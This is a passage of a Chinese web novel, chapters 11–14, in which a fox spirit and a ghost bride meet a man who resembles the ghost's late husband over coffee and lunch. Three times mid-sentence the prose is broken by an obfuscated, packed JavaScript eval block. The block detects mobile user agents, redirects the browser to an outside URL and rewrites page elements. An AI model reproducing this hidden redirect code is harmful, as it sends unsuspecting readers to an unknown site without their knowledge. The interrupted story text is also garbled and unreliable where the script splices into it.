姬悬月就低头看着林疏写下一串蝌蚪，递给了穆迎秋。 他自己都没发现，他的眸中带着点好奇。 穆迎秋接过便利贴扫了一眼，突然笑着对林疏道：“抱歉，我突然觉得很有趣，你为什么不直接用微信发给我？我来了国内没几天，已经被这种便捷的小工具俘虏了。” 11. 第 11 章 林疏：“……” 该怎么说？ 自己也是个刚入世不久的狐狸……对人类的这些高科技还不太熟练？ 姬悬月却道：“因为不确定你回了国外之后，还会用这个微信。” 穆迎秋一愣：“也对，我这个号码出了国都未必会继续用了，还是小疏想得周到。” 林疏于是微笑，并缓缓松了口气。 他只是白天跟姬悬月提过一嘴，微信是跟着电话号码走的。 姬悬月还真是很聪明，居然能推断出来这个…… 那边穆迎秋已经将便利贴收好，然后问起姬悬月：“穆羽为什么会对这个感兴趣？我觉得很无趣，都看不下去。” 姬悬月微微一笑：“可能是想找到同源吧。我不知道自己的祖上是哪一支穆家人，我的名字也没有字辈。当然，更多是对穆家很好奇。” 穆迎秋道：“啊，那你父亲呢？如果父亲也没有字辈，那爷爷？” 姬悬月摇摇头：“我不记得我父亲的名字了，我们已经分开很久。” 穆迎秋一愣，但教养让他没有追问下去，只是感慨道：“抱歉，那确实……是有点麻烦啊。” 姬悬月道：“不过这也不是我的本来目的，我学的是民俗文化，本身就对这些历史悠久的家族很有兴趣。就像我问起绍字辈，主要是因为我在博物馆中看到过他们的照片。” 穆迎秋道：“你认得出照片上的人是谁？” 林疏听了这话，心跳都差点停了。 姬悬月喝了口咖啡，淡淡道：“照片下面写着。” 穆迎秋：“……” 林疏：“……” 穆迎秋知道自己问了蠢问题，只得找补了一句：“好吧，博物馆的照片……的确，通常都会写名字。” 姬悬月就报以微笑。 穆迎秋又问道：“那你平时都做什么？就研究这些吗？” 林疏看着穆迎秋微微闪烁的眼神，开始察觉到，穆迎秋对姬悬月还挺有兴趣的。 但姬悬月好像走神了，盯着穆迎秋的脸看，却不回答。 林疏赶紧踹了他一脚，并道：“其实穆羽这个人，兴趣爱好都挺传统的。比如他爱写繁体字，毛笔用得也很好。还有……总之他对传统文化都很有兴趣。” 没办法，姬悬月也不会别的。 穆迎秋眼睛却亮了：“真的吗？你会写书法？毛笔字？” 姬悬月不知道这有什么值得吹牛的，只得点点头：“会一点。” “能送我一幅字吗？”穆迎秋笑着去拉姬悬月的手，“我可太喜欢毛笔书法了，可我不会写，写出来像蚯蚓在爬。” 姬悬月便道：“这个没问题，只是，你要什么字？有喜欢的诗吗？” “李白！我喜欢李白！”穆迎秋笑得眉眼弯弯，脸上的清冷之气都少了不少，“最喜欢他的‘欲渡黄河冰塞川，将登太行雪满山’。” “《行路难》。”姬悬月颔首，“李白的诗都很好。” “你也喜欢他吗？”穆迎秋眼睛发亮，是找到同好的那种激动，“你喜欢他的什么诗？” 姬悬月道：“我喜欢‘且就洞庭赊月色，将船买酒白云边’。” 穆迎秋一怔，哈哈大笑道：“这首诗叫什么？我还没读过呢。” 姬悬月道：“这首叫做《陪族叔刑部侍郎晔及中书贾舍人至游洞庭五首·其二》。” 穆迎秋：“……” 名字太长了，他记不住。 林疏看着把天聊死的直男，恨不得撬开他的脑袋对他吼一声交朋友不是这么聊天的！ 不过，看穆迎秋的样子，一点也不生气。 想想也是，姬悬月这样的容貌，不管干出什么事来，人们都会选择原谅他的。 林疏只得在心里叹了一声，继续旁观。 这顿咖啡喝得三个人都很高兴。 穆迎秋是真的高兴，姬悬月是本来就应该高兴，而林疏是装的高兴。 看着姬悬月和穆迎秋言笑晏晏，他心中隐约生出了一种忧虑。 ——当然，林疏完全不担心穆迎秋对姬悬月心动并念念不忘。 因为林疏是天狐，他懂幻术，很轻易就可以把穆迎秋对于姬悬月的记忆抹掉。 他担心的，是姬悬月。 如果姬悬月对这个长相神似“小棠”的穆迎秋产生了移情，又因为不能再续前缘而凶性大发，重拾血孽，该怎么办？ 林疏知道，血孽厉鬼只是听起来吓人，其实随着时光消逝，孽力已经很弱。 如果姬悬月要暴走，林疏不敢说自己能像林主任那样一道天雷给他送走，至少也是可以把他绑回灵调局处置的。 到时候灵调局一群神仙围上来，一人吐口唾沫也能给姬悬月镇压了。 只是这样，姬悬月就彻底失去了“改过自新、重新投胎”的机会。 林疏开始觉得这件事背后是自己草率了。 就算姬悬月没有暴走，如果他真的对穆迎秋动了心，可他是个厉鬼，而穆迎秋是人。 他们之间，没有一点可能。 这只会是个悲剧。 想到这一点之后，林疏看着姬悬月与穆迎秋谈笑风生，只觉得心里一阵一阵难受。 他错了，他不应该只是为了调查一些冷冰冰的真相，就对姬悬月这样残忍。 “……那么下次有机会我们就一起去看那个电影吧！”穆迎秋已经开心地开始规划下一次的约会了，“还有几天就上映了，到时候小疏也一起来吧！” “啊？”林疏一愣，笑着点头道：“好。” 穆迎秋已经打开手机，开始选票了。 林疏见他如此积极，顿时吓得道：“还是先缓缓，不急，穆羽他下周的工作安排还说不好，不如到时候我们再约时间。” 姬悬月一愣，他们来前没有说过这一段。 但他没有拆台，只是点点头道：“是的，我下周不一定有空。” “啊，”穆迎秋脸上肉眼可见的失望，“那也太不巧了……” 但他很快又打起精神：“没关系，我们随时联系。对了，穆羽，你有微信吗？” 一旁的林疏：“……”目前还没有，他还没来得及去办副卡…… 姬悬月已经摇头：“没有，我出门不方便，一般不带手机。” 穆迎秋有些疑惑，不知道他为什么会出门不方便，但还是礼貌地笑道：“没关系，电话联系也好。我在国外的时候也不爱用手机，意大利是一个很浪漫的国家，那里的人有事会约出来见面说，很少用社交软件。” 姬悬月点点头。 穆迎秋吁了口气，抬起手腕看了看表，他们聊得太开心了，已经快要九点了。 “我等会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883360|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿有个会，不能再聊下去了。”穆迎秋笑着起身，再次朝姬悬月伸出手，“今天能认识你我很高兴。” “我也很高兴。”姬悬月跟他握了握手，“你路上小心。” “嗯。”穆迎秋找出车钥匙，对林疏和姬悬月道，“那么我先走了，下次见。” 林疏看着穆迎秋走出去，突然反应过来，赶紧推着姬悬月起身，让他去送。 两人一前一后，将穆迎秋送上了车。 目送黑色轿车离去，才慢悠悠回到了咖啡厅结账。 结果得知，穆迎秋已经付过钱了。 林疏先是觉得有些尴尬，然后又松了口气。 这里的咖啡还挺贵的，三杯至少都要二百八，是他现在的钱包无法承受之重。 回去的路上，林疏有一搭没一搭跟姬悬月聊着天：“怎么样，感觉他和你的‘小棠’还是很像吗？” 姬悬月点点头，又摇摇头：“长得像，性格不知道，不记得了。” 林疏顿时有些心疼，他能够理解这种感受。 姬悬月却道：“你为什么说我下周不一定有时间？我看你时间多得很。” 林疏想了一会儿，看着前面的出租车司机，没有直接说怕你跟他一起玩多了爱上他啊你是鬼他是人你们人鬼殊途啊啊啊啊司机大哥会被吓跑的。 他只是道：“不能太心急，谁急了，谁就落下风。你想继续从他身上获取什么的话，最好不要显得太主动。” 姬悬月听得一知半解，但他知道场合不对，也没太追问。 直到两人到了家，林疏解开缚灵索准备去洗澡。 姬悬月突然道：“你不用担心，我只想从他身上得知穆家的事，我现在已经死了，不会去随便喜欢别人。” 林疏一愣，他明明没说过，他的担忧写在脸上了吗？ 而姬悬月已经转身去解自己手腕上的缚灵索。 林疏垂着头去洗澡，洗完出来，就看见姬悬月已经换下了那身新衣服，重新穿上了他破旧的新娘装。 新衣服被他叠得很整齐，就像前几次那样，端端正正搁在沙发背上。 他好像是在提醒自己，他是一个死人，再也无法回到这温暖的人世间。 而他身上旧旧的大红色喜服，是那样刺眼。 让林疏也忍不住会难过于——姬悬月他没有资格，再去爱上什么人。 他突然有些心酸，又后悔，便走到姬悬月身边，去揪他霞帔下面的流苏：“哎，跟我聊会儿。” 姬悬月本来瘫在沙发上，闻言眨了眨眼，漆黑双眸从睫毛底下朝他看过来。 林疏道：“也不是不让你……随便喜欢别人，只是基于更重要的事考虑，你能从他身上获得的并不只是对穆绍棠的移情，还有过往的记忆和真相。而且你终究要明白，他长得再像穆绍棠，也不是穆绍棠。这跟投胎转世甚至不一样。” 姬悬月懒洋洋道：“我知道他不是。” 林疏奇道：“那你这幅样子是怎么了？是放不下穆绍棠，还是对穆迎秋心有不甘？或者说……你还想跟他出去玩吗？” 姬悬月坐起来，看着林疏道：“咖啡厅很有趣，有一股很香的焦糊味儿，拿——” “拿铁。”林疏面无表情道。 “拿铁也很好喝，”姬悬月道，“不知道再跟他出去玩，还会不会有什么好吃的。” 12. 第 12 章 “……”林疏顿时傻在当场，“你不嫌齁得慌吗？我加了双倍糖……而且你是死人，你只能闻味儿，你吃得到吗？” 姬悬月点点头：“闻得到，我很喜欢，很甜。” 今天咖啡厅那杯拿铁姬悬月其实一口都未动，因为他的身体是死的。 哪怕有了实体，也消化不了咖啡。 所以他只是碰了碰嘴唇。 但他可以闻！可以吸！ 那杯咖啡，如果后来有人去尝，就会发现已经完全变成了一杯无味的液体。 因为精华和滋味都被姬悬月吸走了。 姬悬月跃跃欲试：“我还想尝尝其他的！” 林疏被那绝美面孔上期待的眼神看得精神错乱。 刚想忍痛点头，就想起了自己只剩三位数的存款，顿时大怒：“吃不起了！养你也太费钱了，又要吃又要穿……” 但他忽然反应过来：“你是真的对穆迎秋没有什么感觉吗？” 姬悬月一愣：“什么感觉？” 林疏道：“你不喜欢他吗？就是，那种喜欢。” 姬悬月摇头：“他在我眼里，只是一个和小棠很像的人。事实上，记忆丢失后我连对小棠什么感觉都已经忘了，我们都死了，那些感情也随着一起消失了，这不是很正常吗？” 林疏：“？”这哪里正常了！ 林疏自己是个不记得“亡夫”的小鳏夫，可是他清楚地知道自己心里有一个角落永远都为那个人疼痛着。 哪怕他不记得对方的容貌、声音、名字。 可是他知道自己曾经很深很深地爱过，所以他对世上所有的笑颜都没了触动。 这种痛苦是用语言都没办法说出来的，他只能一遍一遍告诉自己，如果见到那个人，第一眼他就会认出他的。 所以，他不停寻找着生日出生年份都与他亡夫投胎的时间差不多的年轻男人，跟他们约会，见面，聊天，四目相对。 他企图从那些陌生的眼睛中，找到他熟悉的爱人。 只是很可惜，林疏没找到，他们都不是。 哪怕林疏已经来到了全国人口最密集、外来人口也最多的鹤城。 他依然，没有找到那个人。 姬悬月看着林疏突然失神的眼睛，谨慎地问道：“你怎么了？” 林疏躲开他的眼神：“没事。” 或许是人类与天狐不同，天狐一生只爱一个人，而人类可以爱很多很多个。 所以人类的爱会跟着记忆一起消失。 林疏叹了口气，心想，这样也好，至少姬悬月不会因为移情爱上穆迎秋，也免去了他以后的苦楚。 姬悬月问道：“今天他说的那个族谱，发给你了吗？我想看看。” 林疏一怔，才想起来自己带姬悬月去见穆迎秋并不只是为了什么儿女情长…… 他拿出手机查看邮箱，然后道：“还没。” 确实，哪有那么快呢？ 姬悬月便道：“如果他发来，请一定给我看看，我想知道我到底是穆家的什么人，哪怕是穆绍棠的旁系堂兄弟……” 林疏表面应了，实际心里想：估计你只能看到一个穆绍棠的老婆穆姬氏了。 所以……关于姬悬月其实并不是“穆羽”这件事，他到底应该什么时候告诉姬悬月呢？ 脑子好累，想不了一点。拖着沉重的眼皮重新洗漱妥当后，林疏疲惫地拱上床，道：“今天很累了，我先睡了。” 姬悬月嗯了一声，坐在沙发上没动。 林疏也懒得管他，径自睡去。 小天师睡着之后，姬悬月却慢慢起身，无声地走到了林疏身边。 他有些困惑，也有些好奇。 林疏为什么那样在意他对穆迎秋的看法？ 姬悬月随手拈起自己一缕长发，他是知道自己的，他的相貌是他最锋利的武器。 难道林疏也对他…… 姬悬月并不是自负的人，但他知道自己的魅力。 林疏问的那些问题，让他不得不去想，林疏是不是很怕他喜欢上穆迎秋？ 林疏是在吃醋吗？ 姬悬月把疑问藏在了心里，他当然不会傻乎乎去问这种问题。 他只会自己偷偷去查证。 第二天，林疏睡醒，又是神清气爽，家里有空调的感觉就是不一样。 哪怕姬悬月没有躺在床……嗯？ 林疏转过脸，看见姬悬月躺在自己身边，枕着胳膊， 而他贴在姬悬月的腋下，搂着他的腰侧。 林疏：“……咳咳，真抱歉，太热了。” “无妨。”姬悬月淡淡道。 林疏被姬悬月那“随便占便宜我根本不生气”的态度弄得有些牙疼，遂爬起来，顶着一脑门官司去洗漱。 然后骑车，上班。 灵调局还是一样的沉闷无趣，一堆似是而非的“灵异”案件被各处市局分局送来，林疏埋头整理了一上午，总算理出个章程。 大部分是走近科学，小部分可以在局里作法解决。 但还没到中午下班时间，林疏的手机嗡嗡作响。 他拿起来一看，是穆迎秋约他们明天中午一起去吃饭。 林疏犹豫了片刻，扯谎道：“我明天可能没什么时间……我们局里比较严格，午休只有半小时。”实际有两个小时。 穆迎秋道：“啊，那太遗憾了。穆羽呢？他有没有时间？” 林疏本能地打出四个字：“他也没有。” 但还未发送，林疏突然愣住，他明白了，其实穆迎秋只是想请姬悬月。 他抬头看了看墙边靠着发呆的姬悬月，想问他要不要去，又不太愿意让他去。 只见一两次面当然很难互相喜欢。 但是次数多了……恐怕就…… “你看我作甚？”姬悬月问道。 林疏只得道：“穆迎秋又约我们吃饭，我已经拒绝了。” 他耍了个心眼——他说的是“我”拒绝了。 但姬悬月看都没看他一眼，道：“无所谓。” 林疏突然又羞愧得不行。姬悬月是真的无所谓见不见穆迎秋，他其实对穆迎秋根本没有那个意思。 这显得林疏自己反倒像一个从中作梗的小人。 于是林疏又问道：“要不你还是去吧，去打探一下他对你的态度也好，他单独约你，未必只是想跟你吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883361|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭，也有可能是因为那个烛台。” 毕竟有凶器一事在前，姬悬月想了想，便也点点头：“你决定吧。” 于是林疏删掉那行字，对穆迎秋道：“他应该有空，我帮你问一下。” 穆迎秋很高兴：“那你帮我转告他，明天中午12点，饭店我来定。” 林疏看了一眼姬悬月，突然又后悔了。 如果姬悬月其实并不喜欢穆迎秋，那他没必要单独去跟穆迎秋吃饭啊！ 如果穆迎秋的确没什么歪门邪道，反而是对姬悬月起了心思，那他还得去善后！ 清除记忆这种事只是说起来简单其实一点都不简单啊！！！ 啊啊啊，他是憨憨！他怎么会办出这种事来啊！！！ 姬悬月奇怪地看着林疏用狰狞的眼神看着桌板，仿佛随时要用头去敲。 林疏有气无力道：“穆迎秋，他约你明天中午12点吃饭，地点他定。我替你答应了。” “好的”姬悬月道，“答应了便得去，只是……我一个人去？” 林疏道：“想得倒美。我会把缚灵索放到五米，到时候我贴个大众脸的符咒，坐你隔壁。” “嗯。”姬悬月点头。 一整个下午，林疏有些心乱如麻，作法时险些把装朱砂的盘子打翻了。 姬悬月抱着臂在旁边看着，林疏几次恼羞成怒回头看他，都发现他在偷笑。 “你笑什么！”林疏咆哮。 姬悬月轻咳一声：“我笑这办公室的装修真好看啊。” 林疏脸上阴森森，头顶也开始冒火，并且把手伸向了那个危险的葫芦。 姬悬月忙不迭道：“我随口说说，我在笑我自己，我这身衣服，好像个红包啊，啊哈哈哈。” 林疏冷冷道：“再笑者死！” 姬悬月马上噤声了。 林疏开坛做完法，又觉得自己太凶了，遂没好气地把香蕉掰下来一个丢给了姬悬月：“闻闻味儿吧。等会儿跟我去把供果送给其他的同事吃。” 灵调局的大家从林疏来了之后，就再也没缺过水果吃，因为他设香坛用来沟通天地的供果，最后都会进到大家的肚子。 反正大家高低是神仙，谁也不怕会被反噬。 姬悬月捧着香蕉有些受宠若惊，他还没吃过这种弯弯的水果，吸进鼻子之后，只觉得肺腑盈香。 林疏看着他捧着香蕉发愣，忍不住问道：“怎么了？不喜欢？” 姬悬月摇摇头：“我没吃过这么好吃的果子。” 林疏怔住了，他不知道姬悬月居然连香蕉都没吃过。 这玩意可不是舶来品，是正经的本土物种，而且早在战国时期就传入中原了。 姬悬月笑了笑：“我活着的时候可能比较穷，很多吃食都没见过。” 林疏下意识问道：“不会吧，你懂那么多诗书，应该是读过私塾的，那个年代读私塾的人都很有钱。” 姬悬月却道：“我也不知道，我不记得了。” 林疏心想也是，如果忘得够干净，的确会把香蕉什么味道也忘记。 他瞬间收回了他的心疼，冷冷哼了一声，抱起那堆水果，牵着姬悬月去送礼。 13. 第 13 章 在收获了一堆“小疏真是好孩子”、“哎呀呀都堆不下了阿疏还是这么可爱”、“小疏怎么不留着自己吃还想着苗姨”、“阿疏真乖”的夸赞声后，林疏带着一脸幸福笑容着回了办公室。 姬悬月在后面跟着看，觉得十分新奇：“这就是赠人玫瑰，手有余香？” 林疏觉得有些奇怪：“你没有送过别人东西，然后获得感谢吗？” 姬悬月摇头，想说什么，已经被林疏接上了：“哦对，你忘记了。” 姬悬月就笑了笑。 可林疏越想越觉得不对。 他也是失去过记忆的人，他知道很多东西的确从脑子里消失了，但本能不会，感觉不会。 譬如他，虽然忘记了过去发生的事，忘记了故人的脸，但他记得爱一个人的滋味，记得与朋友真心相待的感动。 也记得自己还是小狐狸的时候，第一次吃到最喜欢的灵果时那些美好的感受。 可是姬悬月，好像什么都没有。 不，不是什么都没有。 林疏蹙起了眉，他想起昨天在咖啡厅，姬悬月的应对自如。 姬悬月并不是全忘记了，否则他会变成个白痴。姬悬月分明知道如何与人交谈。 虽然有些直白，不懂迂回，但他待人接物没有什么障碍。 姬悬月是记得那些感觉的。 也就是说…… 姬悬月的确没有吃过香蕉，也没有在送别人礼物之后，得到回馈。 一种密密麻麻的心疼突然爬上了林疏的心脏。 他不由得扭头去看姬悬月的脸。 姬悬月还是那样淡淡的，目光落在虚空里，不知道在看什么。 不，不对。林疏这样想着，又是一愣。 他记得姬悬月说过，他面对长得很像穆绍棠的穆迎秋，并没有很怀念、很感触、很爱的感觉。 难道姬悬月其实并没有爱过穆绍棠？ 这怎么可能？林疏又傻了眼。 如果姬悬月没有爱过穆绍棠，那又为什么要嫁给他呢？ 即便是晚清，以男子之身嫁给另一个男人，也不是什么随便就能突破的时代桎梏。 或许其中有隐情，或许，就是林疏想错了，姬悬月的确是一个忘记了所有感觉的人。 他叹了口气，突然又觉得姬悬月可怜。 他要么根本没爱过，要么已经把爱过一个人的滋味忘记了。 下班后，林疏带着姬悬月回了家。 到家之后，他开始悉心指导姬悬月如何能不露破绽地与穆迎秋单独吃饭。 姬悬月认真坐着听，而林疏口沫横飞：“他找餐厅有两种可能，一是中餐，用筷子你总会吧？如果是西餐那就有点麻烦，西餐是用刀叉的，还有餐桌礼仪，其中又分为法式西餐、英式西餐、美式快餐……好吧这个不在考虑范围之内。” 姬悬月举手：“等一下，什么是西餐？什么是刀叉？” “我会一个一个给你说的。”林疏喝了口水，“刀叉就是……” 总之经过一个晚上的补习，姬悬月几乎什么也没记住。 最后林疏绝望了，就道：“反正你在他眼里是个书呆子，一个书呆子不会吃西餐很正常，你也不要怕他笑话，直接说不会就可以了，他会教你的。” 姬悬月就道：“嗯，好的。” 林疏又叹了口气，道：“反正你也忘记爱一个人是什么感受了，就不算移情。如果跟他相处下去，能想起来你是因何而死，就算成功，所以你们产生感情也没坏处，反正我会善后。” 善良的小狐狸真是背负了太多！ 姬悬月疑惑道：“你不介意我跟他产生感情吗？” 林疏奇怪道：“我为什么要介意？” 姬悬月：“……”看来还是他想多了，林疏对他的感情纯洁得很。 果然人不能盲目自信，幸好他没有直接开口问，也没有表露出来。 林疏觉得姬悬月的表情有点奇怪，但也不好问什么。 动物的直觉告诉他如果问了恐怕会牵扯出什么麻烦的东西。 第二天，林疏勒紧裤腰带，用一上午紧急处理了所有的案子。 而穆迎秋挑选的餐厅也已经发过来，谢天谢地……是一家中餐馆。 中午11点半，林疏下班。 他先是带着姬悬月到公共卫生间换了衣服，然后给他画上符咒，让他能够不惧阳光以实体出现，然后二人打车前往餐厅。 在餐厅门口，林疏给自己贴上能让自己看起来是一张路人脸的符，鬼鬼祟祟跟着姬悬月一起走了进去。 他们很快找到了已经在等待的穆迎秋。 林疏在与他们隔着一个背板的隔壁卡座坐定，压着嗓子叫来服务生，点了两个菜。 这家饭店的人均消费是二百多，林疏看着菜单，心疼得快要哭了，不禁一边擦眼泪一边感叹自己真是中国好室友。 这边姬悬月落了座，对对面的穆迎秋礼貌地道：“来晚了，不好意思。” 穆迎秋笑道：“哪里，你来的正好，是我习惯早到。我还没点餐，阿羽，你有什么忌口的吗？” 姬悬月对于他突然之间转变的昵称有些错愕，但礼节让他暂时接受了，摇摇头道：“其实我不是很饿，没有忌口，你随便点。” 穆迎秋道：“我回国之后就很痴迷中餐，这家店是我最喜欢的一家。他们的西湖莼菜汤特别鲜，你可以尝尝。还有这个太极芋泥……” 很快，穆迎秋点了七八个菜，姬悬月抬手道：“好了，再多吃不下。” “无所谓，”穆迎秋笑了，“喜欢就好，不怕浪费。剩下的我可以打包带回酒店慢慢吃。” “酒店？”姬悬月下意识问了一句，又马上意识到自己问了蠢问题，他抿了抿嘴，期望穆迎秋不要觉得奇怪。 “对啊，”穆迎秋已经理解成了另一个意思，“我这次只是临时回国，而且我们在鹤城已经没有产业了，所以只能暂时住在酒店。” 姬悬月点点头，知道这个“酒店”大概就是临时住处的意思。 说起来，林疏也曾说过他的“家”其实不是他真正的“家”，是临时租住的。 大概就与那酒店差不多。 菜很快上齐了，穆迎秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883362|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和姬悬月也就国内外饮食文化的异同，一路聊到了国内外艺术文化的相融。 姬悬月虽然大部分名词听不懂，但是连猜带蒙可以很好地接上话。 隔壁的林疏听着，不禁感叹姬悬月真是一个很好的聊天搭子，不管说什么，他都能接上几句。 不显得卖弄，也不至于被对方牵着鼻子走。 穆迎秋显然聊得很开心，他时不时会感叹一句相见恨晚。 直到他突然问姬悬月道：“阿羽是哪一年生人？” 隔壁的林疏差点把勺子碰掉了。 他交代了很多，就是忘了这件事！ 姬悬月已经开口道：“我比林疏还要小一些。” 穆迎秋愣了一下，他们见面到此时，这是姬悬月第一次提起林疏。 穆迎秋很快笑着道：“林道长看起来至多二十二三岁，你比他还小？” 姬悬月点头道：“我比他小三岁，你可以猜猜我几岁。”他瞎说的。 隔壁的林疏拍胸脯舒了口气，他没想到还有这种回答！ 姬悬月还是太狡猾了。 穆迎秋有些哭笑不得：“这让我怎么猜？你该不会……还没成年吧？” 姬悬月微微一笑：“那不至于。” “成年了就好。”穆迎秋却眼睛一弯，露出一个非常柔和笑容来。 姬悬月夹起一粒青豆纳入口中，却没听到穆迎秋再说什么， 他抬头以询问的眼神看向对面，发现穆迎秋的目光已经停留在他脸上很久。 姬悬月：“？” 如果隔壁的林疏在场，就能看出来穆迎秋这个眼神非常不单纯。 他虽然混圈不久，但也能品出这眼神的意味。 但姬悬月是半点看不出来，他勉强将青豆咽下，道：“做什么这样看我？” 穆迎秋却摇摇头：“没什么。你下午几点上班？” 姬悬月回想了一下林疏给他的“人设”，慢慢道：“我课题还没做完，下午大概是要继续看一些书。” 穆迎秋却道：“什么书？方便借我看看吗？” 姬悬月道：“也没什么，一些晦涩的古籍罢了。” 穆迎秋却来了兴致，道：“阿羽是不是一直都在看国内文学，你不喜欢外国的名著吗？” 姬悬月摇摇头：“我不喜欢西洋人拿腔拿调的文字，我喜欢古文，一字一句之间，蕴含千万种可能。” 穆迎秋马上道：“如果你喜欢的是这种，其实国外也有很多书都很含蓄。我就带了几本很喜欢的书在行李箱里，我觉得你会喜欢。你要不要跟我一起回去酒店，我把书借给你看。” 姬悬月的筷子停在半空中，片刻后礼貌地摇摇头：“不了，我不喜欢外国的文学作品。” 隔壁的林疏听得出了一身冷汗。 他知道外国人思想开放，但也没想到会开放到这种地步……这才第二次见面！ 不能怪林疏想得脏，这个圈子就是这样。 说是看书，都提到酒店了，潜台词不就是4-1-9？ 林疏听得明白，但他完全忘记告诉姬悬月了！ 14. 第 14 章 林疏恨不得给自己一嘴巴，又怕穆迎秋纠缠，又怕姬悬月不明所以答应跟着去。 但姬悬月应该不会……因为他们计划好了吃完饭就回灵调局的，他一点半还要上班。 林疏心里七上八下，就听见隔壁的穆迎秋问道：“所以你对我没感觉是吗？” 他这样直接，连林疏听了都愣了一下。 姬悬月疑惑道：“为什么这么说？” 穆迎秋反而先破功了，他用拳头抵着嘴笑了一声：“所以……你只是觉得进度太快了是吗？你还不喜欢我，是吗？” 姬悬月遂放下筷子，认真道：“我对感情很认真，喜不喜欢一个人，要考虑很久才能说出来。” 穆迎秋笑道：“是我太心急，其实我能看出来，你是一个对待感情认真的人。” 姬悬月道：“难道你不是吗？” 穆迎秋被反问得有点尴尬，只得点头道：“其实我对待感情也很谨慎，如果是露水情缘，我却念念不忘，就会很头疼。” 姬悬月不置可否。 穆迎秋叹了口气道：“可是，阿羽，你不知道，你实在太让人心动了。请原谅我今天的冒昧，我们以后还能见面吗？” 姬悬月道：“当然。” 穆迎秋松了口气：“那太好了，你没有因为我的失礼而生气。我确实很喜欢你，你就是那种一动不动坐在那里，也会让人心动的类型。” 姬悬月不卑不亢道：“谢谢你的夸赞。” 穆迎秋道：“那么，你可以给我你的联系方式了吗？我不太想……下次约你，还要通过林疏。” 姬悬月的眉毛微微拧了一下，还是温和道：“我不习惯带手机，你想联系我，通过林疏就可以。” 穆迎秋：“……” 隔壁的林疏：“……” 林疏突然意识到这整件事背后最大的漏洞——姬悬月没有手机。 穆迎秋想联系上姬悬月必须要通过林疏，那么林疏和姬悬月到底是什么关系啊？ 住在一起的关系吗！ 穆迎秋稍微多心一点就会觉得姬悬月和林疏关系不一般啊！！！ 林疏有些泪了，他不想解释了，也不想管这事了，他十岁他好累他要抱着空调睡。 隔壁的穆迎秋却将之听成了生硬的拒绝。 他勉强笑道：“对不起，我不知道你们的关系是这样的，不好意思。” “我们的关系？”这回轮到姬悬月疑惑了。 穆迎秋看着他的反应，穆迎秋也傻了。 难道……他们不是那种关系？ 穆迎秋试探着问：“你们不是恋人关系吗？对不起，我以为你们是。” 姬悬月道：“不是，我们只是暂时住在一起，并一起上班。” 穆迎秋又肉眼可见地高兴起来：“好吧，我会错意了，抱歉。” 原来只是同事和合租室友…… “没关系。”姬悬月拿着餐巾擦了擦嘴角，“那么这顿饭就算结束了吗？” 穆迎秋点点头：“我有点事会先走，你可以留下来继续吃。下次我会抽时间约你的，抱歉，失陪。” 说完，他就起身匆匆离去了。 姬悬月一直回头盯着他结了账，才放心地坐下，扯了扯手腕上的缚灵索：“小道士，过来吃饭。” 林疏一阵风似的窜过来坐在姬悬月对面，恨铁不成钢道：“你怎么能那么说！穆迎秋现在误会你跟我的关系了！” 姬悬月开始用鼻子闻桌上的菜，还贴心地每样留了一半。 闻言，他道：“我不是说了你我不是恋人关系，还要怎么说？” 林疏道：“你说你不带手机……你不带手机怎么会接收到我的转达！昨天明明教过你了，你可以说你外出考察没信号啊！！！” 姬悬月心安理得道：“太长，忘了，不知道‘信号’是什么，所以记不住。还有，我们的确住在一起，他也不算误会。如果他真的对我心动，那才是对他不公平，我只是个死人。” 林疏无言以对，只得试探着问：“你真的不打算跟穆迎秋发展一下感情？反正你已经忘记了你的上一段，也不存在拿他当替身的意思。” 姬悬月道：“我本来也没打算跟他发展什么感情，我从来没有把他当成小棠过。” 于是林疏的心思又回到了正事上，问道：“那你觉得他对你呢？有没有什么‘另有所图’的意思？我指的是烛台那件事。” 姬悬月摇头：“我没品出来其他的。或许他拿走那个烛台，真的只是想凑一对。啊，这些东西好好吃，但是不够甜，我喜欢甜的。” 林疏哑口无言，他看着姬悬月因为吃到美味而亮晶晶的眼睛，突然又心软了。 他清楚地知道姬悬月心里真的没有那些儿女情长。 他甚至觉得，如果在姬悬月面前摆上一排长得像穆绍棠的男人…… ……姬悬月恐怕只会对他面前的那碗东坡肉驻足。 林疏便道：“好吧，你随意。其实你喜欢谁都无所谓，我只担心穆迎秋是不是别有所图。”毕竟穆家人和姬悬月的死因有千丝万缕的关系。 如果能查出姬悬月的死因，至少能有让姬悬月放弃执念的方法。 到时候血孽就可以被赎清。 孰料姬悬月放下那半碗龙井虾仁，双眼似笑非笑看向他：“你这么关心我喜欢谁、谁对我有所图，你是不是喜欢我？” 林疏：“？？？” 